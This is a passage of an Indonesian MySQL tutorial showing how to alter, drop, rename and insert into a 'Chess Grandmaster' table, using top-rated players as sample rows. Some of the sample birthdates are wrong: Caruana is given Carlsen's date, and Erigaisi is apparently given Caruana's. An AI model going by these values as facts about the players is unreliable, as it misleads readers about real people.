NULL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;fed &lt;/span&gt;&lt;span&gt;VARCHAR&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;{{&amp;lt; collapse summary=“&lt;strong&gt;Keterangan&lt;/strong&gt;” &amp;gt;}}&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Kita perlu menambahkan &lt;em&gt;backticks&lt;/em&gt; atau tanda petik miring &lt;strong&gt;( “ )&lt;/strong&gt; di nama database karena memiliki spasi.&lt;/li&gt;
&lt;li&gt;INT, VARCHAR, dan DATE adalah tipe data yang kita definisikan pada variabel-variabel di depannya.&lt;/li&gt;
&lt;li&gt;Argumen “NOT NULL” artinya kolom tersebut tidak boleh kosong.&lt;/li&gt;
&lt;li&gt;Argumen 100 pada parameter VARCHAR(100) adalah jumlah karakter maksimal.
{{&amp;lt; /collapse &amp;gt;}}&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikutnya, kita bisa memastikan tabel “Chess Grandmaster” tersebut sudah berhasil dibuat dengan mengetikkan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show tables;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;describe &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Membuat tabel Chess Grandmaster&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;695&quot; src=&quot;/_astro/ss10.Wcp-tN41_Z2dfBa3.webp&quot; /&gt;&lt;figcaption&gt;Membuat tabel Chess Grandmaster&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Mengubah, Menghapus, dan Menambah Kolom Baru&lt;a href=&quot;#mengubah-menghapus-dan-menambah-kolom-baru&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Misalnya, saya akan mengganti nama kolom &lt;strong&gt;“fed”&lt;/strong&gt; menjadi &lt;strong&gt;“federation”&lt;/strong&gt;, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; CHANGE COLUMN fed federation &lt;/span&gt;&lt;span&gt;VARCHAR&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mengubah kolom fed&quot; loading=&quot;lazy&quot; width=&quot;787&quot; height=&quot;434&quot; src=&quot;/_astro/ss11.L8_sc4zE_1fG88f.webp&quot; /&gt;&lt;figcaption&gt;Mengubah kolom fed&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Saya kemudian akan menghapus kolom &lt;strong&gt;“birth”&lt;/strong&gt;, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt; COLUMN birth;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menghapus kolom birth&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;423&quot; src=&quot;/_astro/ss12.BguOHIWr_1nmQzg.webp&quot; /&gt;&lt;figcaption&gt;Menghapus kolom birth&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Saya kemudian akan membuat kolom baru, yaitu &lt;strong&gt;“birthday”&lt;/strong&gt;, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ADD&lt;/span&gt;&lt;span&gt; COLUMN birthday &lt;/span&gt;&lt;span&gt;DATE&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menambahkan kolom birthday&quot; loading=&quot;lazy&quot; width=&quot;685&quot; height=&quot;446&quot; src=&quot;/_astro/ss13.Ctv8rzXe_1qrA3C.webp&quot; /&gt;&lt;figcaption&gt;Menambahkan kolom birthday&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita berhasil mengubah nama kolom fed menjadi federation, menghapus kolom birth, dan menambahkan kolom baru yaitu kolom birthday. Namun, seperti terlihat, kedua kolom &lt;strong&gt;“federation”&lt;/strong&gt; dan &lt;strong&gt;“birthday”&lt;/strong&gt; status NULL-nya adalah “YES”, padahal, seharusnya kedua kolom tersebut status NULL-nya &lt;strong&gt;“NO”&lt;/strong&gt; sehingga artinya kolom tersebut tidak boleh kosong. Jadi, mari kita ubah status NULL kedua kolom tersebut.&lt;/p&gt;&lt;p&gt;Kita bisa mengubahnya satu persatu dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;MODIFY&lt;/span&gt;&lt;span&gt; COLUMN federation &lt;/span&gt;&lt;span&gt;VARCHAR&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;MODIFY&lt;/span&gt;&lt;span&gt; COLUMN birthday &lt;/span&gt;&lt;span&gt;DATE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau dengan satu baris perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;MODIFY&lt;/span&gt;&lt;span&gt; COLUMN federation &lt;/span&gt;&lt;span&gt;VARCHAR&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;MODIFY&lt;/span&gt;&lt;span&gt; COLUMN birthday &lt;/span&gt;&lt;span&gt;DATE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya sama saja:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mengganti status NULL di kolom federation dan birthday&quot; loading=&quot;lazy&quot; width=&quot;717&quot; height=&quot;808&quot; src=&quot;/_astro/ss14.DPVCVBfc_2iksRN.webp&quot; /&gt;&lt;figcaption&gt;Mengganti status NULL di kolom federation dan birthday&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menghapus Tabel&lt;a href=&quot;#menghapus-tabel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Saya memiliki satu database lain, yaitu database &lt;strong&gt;“cobachess”&lt;/strong&gt; yang memiliki tabel &lt;strong&gt;“chess grandmaster”&lt;/strong&gt;. Misalnya, saya ingin menghapus tabel “chess grandmaster” tersebut, maka perintahnya adalah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;table&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`chess grandmaster`&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menghapus tabel&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;401&quot; src=&quot;/_astro/ss15.BGh7mqm__Z7eA6y.webp&quot; /&gt;&lt;figcaption&gt;Menghapus tabel&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menghapus Database&lt;a href=&quot;#menghapus-database&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, saya ingin menghapus database &lt;strong&gt;“cobachess”&lt;/strong&gt; tadi, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;database&lt;/span&gt;&lt;span&gt; cobachess;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menghapus database&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;672&quot; src=&quot;/_astro/ss16.BPhZa6Cl_1SdhaT.webp&quot; /&gt;&lt;figcaption&gt;Menghapus database&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Mengubah Nama Tabel&lt;a href=&quot;#mengubah-nama-tabel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga bisa mengganti nama tabelnya dengan syntax berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RENAME &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; nama_tabel_lama &lt;/span&gt;&lt;span&gt;TO&lt;/span&gt;&lt;span&gt; nama_tabel_baru;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Misalnya, saya ingin mengubah tabel &lt;strong&gt;Chess Grandmaster&lt;/strong&gt; ke &lt;strong&gt;chessgrandmaster&lt;/strong&gt;, maka perintahnya adalah sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RENAME &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TO&lt;/span&gt;&lt;span&gt; chessgrandmaster;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mengganti nama tabel&quot; loading=&quot;lazy&quot; width=&quot;635&quot; height=&quot;446&quot; src=&quot;/_astro/ss32._pE9y_FW_ZJXDdy.webp&quot; /&gt;&lt;figcaption&gt;Mengganti nama tabel&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
Jangan lupa untuk mengambahkan &lt;em&gt;backticks&lt;/em&gt; ( &lt;strong&gt;`&lt;/strong&gt; ) jika nama tabelnya memiliki spasi.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menambahkan Data Ke Dalam Tabel&lt;a href=&quot;#menambahkan-data-ke-dalam-tabel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan memasukkan data-data Grandmaster Catur ke dalam tabel &lt;strong&gt;“Chess Grandmaster”&lt;/strong&gt; yang ada di dalam database &lt;strong&gt;“chessgm”&lt;/strong&gt;. Misalnya, saya hanya akan memasukkan top 10 elo rating GM berdasarkan rangking &lt;a href=&quot;https://ratings.fide.com/&quot; target=&quot;_blank&quot;&gt;FIDE&lt;/a&gt; per artikel ini dibuat.&lt;/p&gt;&lt;p&gt;Kita bisa memasukkan data setiap Grandmaster tersebut satu persatu ke dalam tabel dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; (nama, elo, birthday, federation)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;VALUES&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&apos;Magnus Carlsen&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2832&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1990-11-30&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;Norway&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; (nama, elo, birthday, federation)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;VALUES&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&apos;Hikaru Nakamura&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2802&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1987-12-09&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;USA&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; (nama, elo, birthday, federation)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;VALUES&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&apos;Fabiano Caruana&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2793&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1990-11-30&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;USA&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau dengan satu perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;INSERT INTO&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; (nama, elo, birthday, federation)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;VALUES&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Magnus Carlsen&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2832&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1990-11-30&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;Norway&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Hikaru Nakamura&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2802&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1987-12-09&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;USA&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Fabiano Caruana&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2793&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1990-11-30&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;USA&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Arjun Erigaisi&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2778&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1992-07-30&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;IND&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Ian Nepomniachtchi&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2767&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1990-07-14&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;RUS&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Gukesh Dommaraju&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2766&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;2006-05-29&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;IND&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Nodirbek Abdusattorov&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2762&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;2004-09-18&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;UZB&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Wei Yi&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2762&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1999-06-02&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;CHN&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Alireza Firouzja&apos;&lt;/span&gt;&lt;span&gt;, 